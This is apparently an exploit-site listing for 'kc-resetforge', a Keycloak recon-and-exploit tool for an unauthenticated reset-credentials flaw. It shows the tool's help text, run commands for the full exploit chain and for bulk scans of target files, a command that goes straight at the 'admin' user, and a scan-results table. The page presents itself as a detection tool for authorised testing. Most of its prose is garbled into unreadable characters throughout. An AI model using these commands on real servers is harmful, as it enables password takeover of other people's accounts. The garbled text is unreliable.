## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALT3KX-CVE-2026-18963
# CVE-2026-18963 Keycloak Reset-Credentials рд╕реНрдЯреЗрдЯ рдмрд╛рдИрдкрд╛рд╕ рдбрд┐рдЯреЗрдХреНрдЯрд░

https://github.com/user-attachments/assets/005fab89-339a-4e4e-881c-da6a626f6c9e
root@kitploit:~
python3 kc-resetforge.py -h
usage: kc-resetforge.py [-h] [--target TARGET] [--targets-file TARGETS_FILE] [--port PORT] [--realm REALM]
[--client-id CLIENT_ID] [--username USERNAME] [--new-password NEW_PASSWORD] [--skip-enum]
[--enum-only] [--kc-version] [--kc-reset-link] [--corpus-dir CORPUS_DIR] [--label LABEL]
[--enum-realms] [--no-enum-realms] [--enum-clients] [--no-enum-clients] [--enum-users]
[--no-enum-users] [--realm-wordlist REALM_WORDLIST] [--client-wordlist CLIENT_WORDLIST]
[--user-wordlist USER_WORDLIST] [--enum-users-client-id ENUM_USERS_CLIENT_ID]
[--verify-login] [--no-verify-login] [--verify-client-id VERIFY_CLIENT_ID]
[--timeout TIMEOUT] [--request-delay REQUEST_DELAY] [--output-dir OUTPUT_DIR]
[--proxy PROXY] [-d] [-y] [--json-out JSON_OUT]
CVE-2026-18963 Keycloak recon + exploit рдлреНрд░реЗрдорд╡рд░реНрдХ (рдХреЗрд╡рд▓ рдЕрдкрдирд╛ рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░)
options:
-h, --help рдпрд╣ рд╕рд╣рд╛рдпрддрд╛ рд╕рдВрджреЗрд╢ рджрд┐рдЦрд╛рдПрдВ рдФрд░ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ
--target TARGET рдПрдХрд▓ рд▓рдХреНрд╖реНрдп: рдмреЗрдпрд░ рд╣реЛрд╕реНрдЯ/IP, host:port, рдпрд╛ рдкреВрд░реНрдг http(s)://host[:port] URLред рд╕реНрдХреАрдо рдФрд░ рдкреЛрд░реНрдЯ
рд╕реНрд╡рддрдГ рдкрд╣рдЪрд╛рдиреЗ рдЬрд╛рддреЗ рд╣реИрдВ рдпрджрд┐ рдЫреЛрдбрд╝ рджрд┐рдП рдЬрд╛рдПрдВ (рдкрд╣рд▓реЗ https рдлрд┐рд░ http рдЖрдЬрд╝рдорд╛рддрд╛ рд╣реИ; рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреНрд░рдорд╢рдГ 443/80)ред
--targets-file рдХреЗ рд╕рд╛рде рдкрд░рд╕реНрдкрд░ рдЕрдирдиреНрдпред
--targets-file TARGETS_FILE
рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рддрд┐ рдкрдВрдХреНрддрд┐ рдПрдХ рд▓рдХреНрд╖реНрдп рд╣реЛ, --target рдХреЗ рд╕рдорд╛рди рд▓рдЪреАрд▓реЗ рдкреНрд░рд╛рд░реВрдк ('#' рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ
рдЕрдиреБрдордд)ред рдкреНрд░рддреНрдпреЗрдХ рд▓рдХреНрд╖реНрдп рдХреЗ рд╡рд┐рд░реБрджреНрдз рдХреНрд░рдо рд╕реЗ recon+exploit рдЪрд▓рд╛рддрд╛ рд╣реИред
--port PORT --target рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░реЗрдВ (рдпрд╛ --targets-file рдХреА рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдлрд╝реЙрд▓рдмреИрдХ рдЬрд┐рдирдХрд╛ рдЕрдкрдирд╛ рдкреЛрд░реНрдЯ рдирд╣реАрдВ рд╣реИ)ред
--targets-file рдореЗрдВ рдкреНрд░рддрд┐-рдкрдВрдХреНрддрд┐ рдкреЛрд░реНрдЯ рд╣рдореЗрд╢рд╛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рд▓реЗрддреЗ рд╣реИрдВред
--realm REALM рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП realmред рдпрджрд┐ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдП, рддреЛ recon рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ рд╕реНрд╡рддрдГ рдЪрдпрдирд┐рддред
--client-id CLIENT_ID
рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП OIDC client_idред рдпрджрд┐ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдП, рддреЛ recon рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ рд╕реНрд╡рддрдГ рдЪрдпрдирд┐рддред
--username USERNAME рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдоред рдпрджрд┐ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдП, рддреЛ recon рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ рд╕реНрд╡рддрдГ рдЪрдпрдирд┐рддред
--new-password NEW_PASSWORD
рд▓рдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░рдиреЗ рд╣реЗрддреБ рдкрд╛рд╕рд╡рд░реНрдб (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: 'Test123!')
--skip-enum recon рдкреВрд░реА рддрд░рд╣ рдЫреЛрдбрд╝реЗрдВ; --realm/--client-id/--username рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред
--enum-only recon рдЪрд▓рд╛рдПрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ, рд▓реЗрдХрд┐рди exploitation рдХрд╛ рдкреНрд░рдпрд╛рд╕ рди рдХрд░реЗрдВред
--kc-version рдХреЗрд╡рд▓ Keycloak рд╕рдВрд╕реНрдХрд░рдг recon рдЪрд░рдг рдЪрд▓рд╛рдПрдВ (рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ + corpus рдорд┐рд▓рд╛рди + рдкреИрдЪ рд╕реНрдерд┐рддрд┐) рдФрд░
рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ - realm/client/user рдПрдиреНрдпреВрдорд░реЗрд╢рди рдФрд░ exploitation рдкреВрд░реА рддрд░рд╣ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред --target рдФрд░
--targets-file рджреЛрдиреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред
--kc-reset-link рдХреЗрд╡рд▓ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕реЗрд▓реНрдл-рд╕рд░реНрд╡рд┐рд╕ рдкрд╛рд╕рд╡рд░реНрдб-рд░реАрд╕реЗрдЯ ('Forgot Password?' /
resetPasswordAllowed) рдлреНрд▓реЛ рдЙрдЬрд╛рдЧрд░ рд╣реИ, рдлрд┐рд░ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ - рдПрдХ рдПрдХрд▓ рдЧреИрд░-рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА GET, рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо
рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВред рд╣рд▓реНрдХреЗ realm+client recon рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ realm/client рд╕реНрд╡рддрдГ рдЦреЛрдЬрддрд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ --realm/--client-
id рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рди рджрд┐рдП рдЧрдП рд╣реЛрдВред Exploitation рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред --target рдФрд░ --targets-file рджреЛрдиреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред
--corpus-dir CORPUS_DIR
рд╕рдЯреАрдХ рд╕рдВрд╕реНрдХрд░рдг рдорд┐рд▓рд╛рди рдХреЗ рд▓рд┐рдП рдЬреНрдЮрд╛рдд-рд╕рдВрд╕реНрдХрд░рдг рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдХреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ:
kc_version_corpus)ред
--label LABEL рдЕрдЬреНрдЮрд╛рдд рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рдорд┐рд▓рд╛рди рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдЗрд╕ рд▓рдХреНрд╖реНрдп рдХрд╛ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рд▓реЗрдмрд▓ рдХреЗ рдЕрдВрддрд░реНрдЧрдд corpus рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВред
рдЬреНрдЮрд╛рдд рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
--enum-realms realm рдирд╛рдо рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░реЗрдВ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: recon рдХреЗ рджреМрд░рд╛рди рдЪрд╛рд▓реВ)ред
--no-enum-realms
--enum-clients рдкреНрд░рддрд┐ realm client ID рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░реЗрдВ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: recon рдХреЗ рджреМрд░рд╛рди рдЪрд╛рд▓реВ)ред
--no-enum-clients
--enum-users рдкреНрд░рддрд┐ realm рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░реЗрдВ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: recon рдХреЗ рджреМрд░рд╛рди рдЪрд╛рд▓реВ)ред
--no-enum-users
--realm-wordlist REALM_WORDLIST
--client-wordlist CLIENT_WORDLIST
--user-wordlist USER_WORDLIST
--enum-users-client-id ENUM_USERS_CLIENT_ID
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд╛рдо рдПрдиреНрдпреВрдорд░реЗрд╢рди рдбрд╛рдпрд░реЗрдХреНрдЯ-рдЧреНрд░рд╛рдВрдЯ рдкреНрд░реЛрдм рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдХреНрд▓рд╛рдЗрдВрдЯ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: admin-cli)ред
--verify-login рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдХреЗ рдмрд╛рдж, рдкрд╛рд╕рд╡рд░реНрдб-рдЧреНрд░рд╛рдВрдЯ рдЯреЛрдХрди рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирдИ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ
(рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ)ред
--no-verify-login
--verify-client-id VERIFY_CLIENT_ID
рд╕рддреНрдпрд╛рдкрди рдкрд╛рд╕рд╡рд░реНрдб рдЧреНрд░рд╛рдВрдЯ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдХреНрд▓рд╛рдЗрдВрдЯред
--timeout TIMEOUT
--request-delay REQUEST_DELAY
exploit рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рд╕реЗ рдкрд╣рд▓реЗ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдХрдВрдб (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: 0.4)ред Keycloak рдХреА рд▓реЙрдЧрд┐рди-
рдлреНрд▓реЛ рд╕реНрдерд┐рддрд┐ reset/restart/selector рд░реАрдкреНрд▓реЗ рдЪрд░рдгреЛрдВ рдореЗрдВ рд╕рдордп-рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рд╕рдХрддреА рд╣реИ; рдПрдХ рдЫреЛрдЯреА
рджреЗрд░реА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рдЕрдзрд┐рдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдмрдирд╛рддреА рд╣реИред рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП 0ред
--output-dir OUTPUT_DIR
--proxy PROXY HTTP(S) рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реВрдЯ рдХрд░реЗрдВ: 'burp' (127.0.0.1:8080 рд╢реЙрд░реНрдЯрд╣реИрдВрдб), рдПрдХ рдмреЗрдпрд░ host:port, рдпрд╛
рдкреВрд░реНрдг http(s):// URLред
-d, --debug рдЕрдиреБрд░реЛрдзреЛрдВ/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ/enum рдкреНрд░реЛрдмреНрд╕ рдХреА рд╡рд┐рд╕реНрддреГрдд рдбреАрдмрдЧ рд▓реЙрдЧрд┐рдВрдЧ
-y, --yes 'рдЗрд╕ рд▓рдХреНрд╖реНрдп рдХреЗ рд╕рд╛рде рдЬрд╛рд░реА рд░рдЦреЗрдВ?' рдкреНрд░реЙрдореНрдкреНрдЯ рдЫреЛрдбрд╝реЗрдВред рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ (рд╕реНрдХреНрд░рд┐рдкреНрдЯ,
рдПрдХрд╛рдзрд┐рдХ рд▓рдХреНрд╖реНрдпреЛрдВ рд╡рд╛рд▓рд╛ --targets-file, CI)ред
--json-out JSON_OUT рдЗрд╕ рдкрде рдкрд░ recon + exploit рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреА JSON рд░рд┐рдкреЛрд░реНрдЯ рд▓рд┐рдЦреЗрдВред
kc-resetforge тАФ CVE-2026-18963 Keycloak recon + exploit рдЯреВрд▓ (рдХреЗрд╡рд▓ рдЕрдкрдирд╛ рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░)
Usage
-----
рдкреВрд░реНрдгрддрдГ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд (recon -> рд╕реНрд╡рддрдГ-рдЪрдпрди рд▓рдХреНрд╖реНрдп -> exploit -> рд╕рддреНрдпрд╛рдкрди):
python3 kc-resetforge.py --target https://localhost:9990 --proxy burp -d
рдХреЗрд╡рд▓ Recon:
python3 kc-resetforge.py --target https://localhost:9990 --enum-only -d
рдХреЗрд╡рд▓ рд╕рдВрд╕реНрдХрд░рдг + рдкреИрдЪ-рд╕реНрдерд┐рддрд┐ рдЬрд╛рдВрдЪ, рдХрдИ рд╣реЛрд╕реНрдЯреЛрдВ рдкрд░:
python3 kc-resetforge.py --targets-file targets.txt --kc-version
Recon рдЫреЛрдбрд╝реЗрдВ, рд╕реАрдзреЗ рд▓рдХреНрд╖реНрдп рдХрд░реЗрдВ:
python3 kc-resetforge.py --target https://localhost:9990 --realm master \
--client-id account --username admin --skip-enum
рдЖрд╡рд╢реНрдпрдХ: requests, beautifulsoup4, рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ rich (pip install --break-system-packages)
# рднреЗрджреНрдпрддрд╛ рд╕рд╛рд░рд╛рдВрд╢
# рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг
* **рдореВрд▓ рдХрд╛рд░рдг:** reset-credentials рдлреНрд▓реЛ рдореЗрдВ рдЕрдиреБрдЪрд┐рдд рд╕реНрдЯреЗрдЯ рд╕рддреНрдпрд╛рдкрдиред рд╕рд░реНрд╡рд░ рдЯреНрд░реИрдХ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рддреНрд░ рдХрд┐рд╕ рдЪрд░рдг рдкрд░ рд╣реИ, рд▓реЗрдХрд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдЕрдкрдбреЗрдЯ рдХреА рдУрд░ рдлреНрд▓реЛ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдпрд╣ рдкреБрдирдГ рд╕рддреНрдпрд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рдХрд┐ рдИрдореЗрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдПрдХреНрд╢рди-рдЯреЛрдХрди рдЪрд░рдг рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдкреВрд░рд╛ рд╣реБрдЖ рдерд╛ред
* **рдкреВрд░реНрд╡-рд╢рд░реНрддреЗрдВ:** рдХреЛрдИ рдирд╣реАрдВ тАФ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдирд╣реАрдВ, рдХреЛрдИ рдкреВрд░реНрд╡ рдкрд╣реБрдВрдЪ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВред
* **рджрд╛рдпрд░рд╛:** рдХреЛрдИ рднреА realm рдЬрд┐рд╕рдореЗрдВ "Forgot password" рд╕рдХреНрд╖рдо рд╣реИ, 26.7.2 рд╕реЗ рдкрд╣рд▓реЗред
* **рдлрд┐рдХреНрд╕:**
* рдЕрдкрд╕реНрдЯреНрд░реАрдо Keycloak `26.7.2`
* RHBK 26.4 тЖТ рдСрдкрд░реЗрдЯрд░ рдмрдВрдбрд▓ `26.4.15-1` / рдЗрдореЗрдЬ `26.4-23`
* RHBK 26.6 тЖТ рдСрдкрд░реЗрдЯрд░ рдмрдВрдбрд▓ `26.6.6-1` / рдЗрдореЗрдЬ `26.6-12`
* рдЕрдВрддрд░рд┐рдо рд╢рдорди: рдкреНрд░рддрд┐ realm "Forgot password" рдЕрдХреНрд╖рдо рдХрд░реЗрдВ (Realm Settings тЖТ Login тЖТ Forgot password)
# рдЗрд╕ рдЯреВрд▓ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ
`kc-resetforge` рдПрдХ рдбрд┐рдЯреЗрдХреНрд╢рди/рд╕рддреНрдпрд╛рдкрди рдЯреВрд▓ рд╣реИред рдпрд╣ рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд▓рдХреНрд╖реНрдп рдХрд╛ reset-credentials рдлреНрд▓реЛ рдПрдХреНрд╢рди-рдЯреЛрдХрди рдкреВрд░реНрд╡-рд╢рд░реНрдд рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ (рдкреИрдЪ рдХрд┐рдпрд╛ рд╣реБрдЖ) рдпрд╛ рдирд╣реАрдВ (рднреЗрджреНрдп), рдЕрдзрд┐рдХреГрдд рдореВрд▓реНрдпрд╛рдВрдХрдиреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдПред рдиреАрдЪреЗ рд▓рд┐рдВрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд▓реЗрдЦ рддрдВрддреНрд░ рдФрд░ рдкреБрдирд░реБрддреНрдкрд╛рджрди рдкрджреНрдзрддрд┐ рдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреНрд░рдХрдЯреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдЧрд╣рд░рд╛рдИ рдкрд░ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИред
рдкреВрд░реНрдг рд╡рд┐рд╢реНрд▓реЗрд╖рдг: Forging `kc-resetforge`: Turning CVE-2026-18963 Into a Repeatable Check
## рд╕рдВрд╕реНрдХрд░рдг рдкрд╣рдЪрд╛рди
`kc-resetforge.py` Keycloak рд╕реЗ "рдЖрдк рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рд╣реИрдВ?" рдирд╣реАрдВ рдкреВрдЫ рд╕рдХрддрд╛, рдЗрд╕рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рдкреНрд░реА-рдСрде рдПрдВрдбрдкреЙрдЗрдВрдЯ рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдпрд╣ рд▓рдХреНрд╖реНрдп рдХрд╛ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рд▓реЗрддрд╛ рд╣реИ (рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдлрд╝реАрд▓реНрдб, рд╕реНрдерд┐рд░ рдПрд╕реЗрдЯ рд╣реИрд╢, рдлреЗрд╡рд┐рдХреЙрди) рдФрд░ рдЗрд╕рдХреА рддреБрд▓рдирд╛ рдЙрди рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯреНрд╕ рдХреЗ **corpus** рд╕реЗ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рд╕реЗ рдЬреНрдЮрд╛рдд рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде рд▓реЗрдмрд▓ рдХрд┐рдпрд╛ рд╣реИред рдЙрд╕ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдХреЗ рд▓рд┐рдП рдХреЛрдИ corpus рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ = рдХреЛрдИ рд╕рдЯреАрдХ рд╕рдВрд╕реНрдХрд░рдг рдирд╣реАрдВ, рдбрд┐рдЬрд╝рд╛рдЗрди рджреНрд╡рд╛рд░рд╛, рдмрдЧ рдирд╣реАрдВред
Corpus рдХреЛ рдкреНрд░рддрд┐ рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рдмрд╛рд░ рдмрдирд╛рдПрдВ рдЬрд┐рд╕ рддрдХ рдЖрдкрдХреА рдкрд╣реБрдВрдЪ рд╣реИ:
root@kitploit:~
python3 kc-resetforge.py --target https://known-26.6.2-host --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://known-26.7.2-host --kc-version --label 26.7.2
[snip]
рдореЗрд░реА рд▓реИрдм:
python3 kc-resetforge.py --target https://localhost:9990 --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://localhost:9991 --kc-version --label 26.6.3
python3 kc-resetforge.py --target https://localhost:9992 --kc-version --label 26.6.4
python3 kc-resetforge.py --target https://localhost:9993 --kc-version --label 26.7.0
python3 kc-resetforge.py --target https://localhost:9994 --kc-version --label 26.7.1
python3 kc-resetforge.py --target https://localhost:9995 --kc-version --label 26.7.2
Recon:
python3 kc-resetforge.py --targets-file targets.txt --kc-version --kc-reset-link --proxy 127.0.0.1:8080
[snip]
[*] Proxying through: http://127.0.0.1:8080
[+] Run Summary
Targets scanned
тФПтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФ│тФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФ│тФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФ│тФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФ│тФБтФБтФБтФБтФБтФБтФБтФБтФУ
тФГTarget тФГ Keycloak Version тФГ Patch тФГ Reset Link тФГ Result тФГ
тФбтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтХЗтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтХЗтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтХЗтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтФБтХЗтФБтФБтФБтФБтФБтФБтФБтФБтФй
тФВhttps://localhost:9990 тФВ 26.6.2 тФВ VULNERABLE тФВ ENABLED тФВ checkedтФВ
тФВhttps://localhost:9991 тФВ 26.6.3 тФВ VULNERABLE тФВ ENABLED тФВ checkedтФВ
тФВhttps://localhost:9992 тФВ 26.6.4 тФВ VULNERABLE тФВ ENABLED тФВ checkedтФВ
тФВhttps://localhost:9993 тФВ 26.7.0 тФВ VULNERABLE тФВ ENABLED тФВ checkedтФВ
тФВhttps://localhost:9994 тФВ 26.7.1 тФВ VULNERABLE тФВ ENABLED тФВ checkedтФВ
тФВhttps://localhost:9995 тФВ 26.7.2 тФВ PATCHED тФВ ENABLED тФВ checkedтФВ
тФФтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФ┤тФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФ┤тФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФ┤тФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФ┤тФАтФАтФАтФАтФАтФАтФАтФАтФШ
рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдмрдЧрд▓ рдореЗрдВ, `kc_version_corpus/` рдореЗрдВ рд╕рд╣реЗрдЬреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ рдмрдиреА рд░рд╣рддреА рд╣реИрдВ рдЪрд╛рд╣реЗ рдЖрдк рдЯреВрд▓ рдХреЛ рдХрд┐рд╕реА рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдЪрд▓рд╛рдПрдВ, рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рд╣рдЯрд╛рдПрдВ рдирд╣реАрдВред
Corpus рдореЗрдВ рдХреНрдпрд╛ рд╣реИ рдЬрд╛рдВрдЪреЗрдВ:
root@kitploit:~
ls kc_version_corpus/
рдПрдХ рдмрд╛рд░ рд▓реЗрдмрд▓ рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рд╣рд░ рднрд╡рд┐рд╖реНрдп рдХрд╛ рд╕реНрдХреИрди рд╕реНрд╡рддрдГ рдЗрд╕рдХреЗ рд╡рд┐рд░реБрджреНрдз рдорд┐рд▓рд╛рди рдХрд░рддрд╛ рд╣реИ:
root@kitploit:~
python3 kc-resetforge.py --target https://target --kc-version
python3 kc-resetforge.py --targets-file targets.txt --kc-version
# рдХреНрд░реЗрдбрд┐рдЯреНрд╕
## рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬ
* James Paremain (Red Hat рдХреЗ рдПрдбрд╡рд╛рдЗрдЬрд╝рд░реА рдореЗрдВ рд╢реНрд░реЗрдп)
## рдЯреВрд▓
* Alex Hernandez рдЙрд░реНрдл _(@_alt3kx_)_
# рд╕рдВрджрд░реНрдн
* https://access.redhat.com/security/cve/CVE-2026-18963
* https://www.keycloak.org/2026/08/keycloak-2672-released
* https://thehackernews.com/2026/08/critical-keycloak-password-reset-flaw.html
* https://github.com/keycloak/keycloak/issues/51833
# рдЕрд╕реНрд╡реАрдХрд░рдг
рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗрд╡рд▓ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
* рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдореВрд▓реНрдпрд╛рдВрдХрди
* рд░рдХреНрд╖рд╛рддреНрдордХ рдкрд░реАрдХреНрд╖рдг
* рд╢реИрдХреНрд╖рд┐рдХ рдЕрдиреБрд╕рдВрдзрд╛рди
